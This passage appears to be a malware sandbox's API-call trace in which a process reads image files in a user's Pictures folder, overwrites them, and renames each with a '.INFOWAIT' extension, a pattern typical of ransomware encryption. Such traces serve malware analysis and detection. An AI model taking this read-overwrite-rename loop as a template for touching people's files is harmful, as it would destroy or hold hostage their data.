lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xc3d1, lpOverlapped=0x0) returned 1 [0120.784] VirtualAlloc (lpAddress=0x0, dwSize=0xc3d1, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.789] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.789] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xc3d1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xc3d1, lpOverlapped=0x0) returned 1 [0120.790] CloseHandle (hObject=0xad4) returned 1 [0120.794] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\znFXRDcUkqphQAEI4ui.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\znFXRDcUkqphQAEI4ui.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\znFXRDcUkqphQAEI4ui.bmp" [0120.794] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\znFXRDcUkqphQAEI4ui.bmp", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\znFXRDcUkqphQAEI4ui.bmp.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\znFXRDcUkqphQAEI4ui.bmp.INFOWAIT" [0120.794] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\znFXRDcUkqphQAEI4ui.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\luqhm\\znfxrdcukqphqaei4ui.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\8ctUF06 2SC36xX7cR0\\luqHM\\znFXRDcUkqphQAEI4ui.bmp.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\8ctuf06 2sc36xx7cr0\\luqhm\\znfxrdcukqphqaei4ui.bmp.infowait")) returned 1 [0120.795] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.796] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.797] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\cc0AC KvAZVVI8uX.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\cc0ac kvazvvi8ux.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.798] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7926 [0120.798] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.798] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.798] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7926, lpOverlapped=0x0) returned 1 [0120.815] VirtualAlloc (lpAddress=0x0, dwSize=0x7926, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.818] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.818] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7926, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7926, lpOverlapped=0x0) returned 1 [0120.818] CloseHandle (hObject=0xad4) returned 1 [0120.822] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\cc0AC KvAZVVI8uX.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\cc0AC KvAZVVI8uX.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\cc0AC KvAZVVI8uX.gif" [0120.822] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\cc0AC KvAZVVI8uX.gif", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\cc0AC KvAZVVI8uX.gif.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\cc0AC KvAZVVI8uX.gif.INFOWAIT" [0120.822] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\cc0AC KvAZVVI8uX.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\cc0ac kvazvvi8ux.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\cc0AC KvAZVVI8uX.gif.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\cc0ac kvazvvi8ux.gif.infowait")) returned 1 [0120.823] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.824] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.825] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\EEWWiY3V3RdCY.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\eewwiy3v3rdcy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.825] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcc34 [0120.825] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.825] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.825] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xcc34, lpOverlapped=0x0) returned 1 [0120.829] VirtualAlloc (lpAddress=0x0, dwSize=0xcc34, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.834] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.834] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xcc34, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xcc34, lpOverlapped=0x0) returned 1 [0120.835] CloseHandle (hObject=0xad4) returned 1 [0120.841] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\EEWWiY3V3RdCY.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\EEWWiY3V3RdCY.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\EEWWiY3V3RdCY.gif" [0120.841] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\EEWWiY3V3RdCY.gif", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\EEWWiY3V3RdCY.gif.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\EEWWiY3V3RdCY.gif.INFOWAIT" [0120.841] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\EEWWiY3V3RdCY.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\eewwiy3v3rdcy.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\EEWWiY3V3RdCY.gif.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\eewwiy3v3rdcy.gif.infowait")) returned 1 [0120.842] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.843] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.844] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\IEv7z27qsVTekHpr.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\iev7z27qsvtekhpr.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.844] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14c99 [0120.844] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.844] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.844] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x14c99, lpOverlapped=0x0) returned 1 [0120.849] VirtualAlloc (lpAddress=0x0, dwSize=0x14c99, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.857] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.857] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x14c99, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x14c99, lpOverlapped=0x0) returned 1 [0120.857] CloseHandle (hObject=0xad4) returned 1 [0120.864] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\IEv7z27qsVTekHpr.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\IEv7z27qsVTekHpr.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\IEv7z27qsVTekHpr.bmp" [0120.865] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\IEv7z27qsVTekHpr.bmp", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\IEv7z27qsVTekHpr.bmp.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\IEv7z27qsVTekHpr.bmp.INFOWAIT" [0120.865] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\IEv7z27qsVTekHpr.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\iev7z27qsvtekhpr.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\IEv7z27qsVTekHpr.bmp.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\iev7z27qsvtekhpr.bmp.infowait")) returned 1 [0120.868] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.869] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.870] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.870] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZEsdNS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\zesdns.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.870] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6e88 [0120.870] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.871] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.871] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x6e88, lpOverlapped=0x0) returned 1 [0120.885] VirtualAlloc (lpAddress=0x0, dwSize=0x6e88, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.888] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.888] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x6e88, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x6e88, lpOverlapped=0x0) returned 1 [0120.888] CloseHandle (hObject=0xad4) returned 1 [0120.889] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZEsdNS.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZEsdNS.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZEsdNS.jpg" [0120.889] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZEsdNS.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZEsdNS.jpg.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZEsdNS.jpg.INFOWAIT" [0120.889] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZEsdNS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\zesdns.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZEsdNS.jpg.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\zesdns.jpg.infowait")) returned 1 [0120.890] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.891] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.892] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZVtPiW.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\zvtpiw.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.892] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa9a2 [0120.892] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.893] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.893] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xa9a2, lpOverlapped=0x0) returned 1 [0120.897] VirtualAlloc (lpAddress=0x0, dwSize=0xa9a2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.901] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.901] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xa9a2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xa9a2, lpOverlapped=0x0) returned 1 [0120.901] CloseHandle (hObject=0xad4) returned 1 [0120.906] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZVtPiW.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZVtPiW.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZVtPiW.bmp" [0120.906] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZVtPiW.bmp", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZVtPiW.bmp.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZVtPiW.bmp.INFOWAIT" [0120.906] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZVtPiW.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\zvtpiw.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\n7JpqV\\ZVtPiW.bmp.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\n7jpqv\\zvtpiw.bmp.infowait")) returned 1 [0120.907] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.908] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.909] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\7FDM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\7fdm.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.909] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18b11 [0120.909] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.910] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.910] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x18b11, lpOverlapped=0x0) returned 1 [0120.914] VirtualAlloc (lpAddress=0x0, dwSize=0x18b11, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.923] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.923] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x18b11, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x18b11, lpOverlapped=0x0) returned 1 [0120.924] CloseHandle (hObject=0xad4) returned 1 [0120.925] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\7FDM.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\7FDM.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\7FDM.jpg" [0120.926] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\7FDM.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\7FDM.jpg.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\7FDM.jpg.INFOWAIT" [0120.926] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\7FDM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\7fdm.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\7FDM.jpg.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\7fdm.jpg.infowait")) returned 1 [0120.926] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.928] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.928] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\8q988doXb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\qaujhe\\8q988doxb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.929] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf02f [0120.929] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.929] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.929] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xf02f, lpOverlapped=0x0) returned 1 [0120.933] VirtualAlloc (lpAddress=0x0, dwSize=0xf02f, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.939] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.939] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xf02f, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xf02f, lpOverlapped=0x0) returned 1 [0120.939] CloseHandle (hObject=0xad4) returned 1 [0120.942] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\8q988doXb.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\8q988doXb.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\8q988doXb.png" [0120.942] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\8q988doXb.png", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\QaUjhe\\8q988doXb.png.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 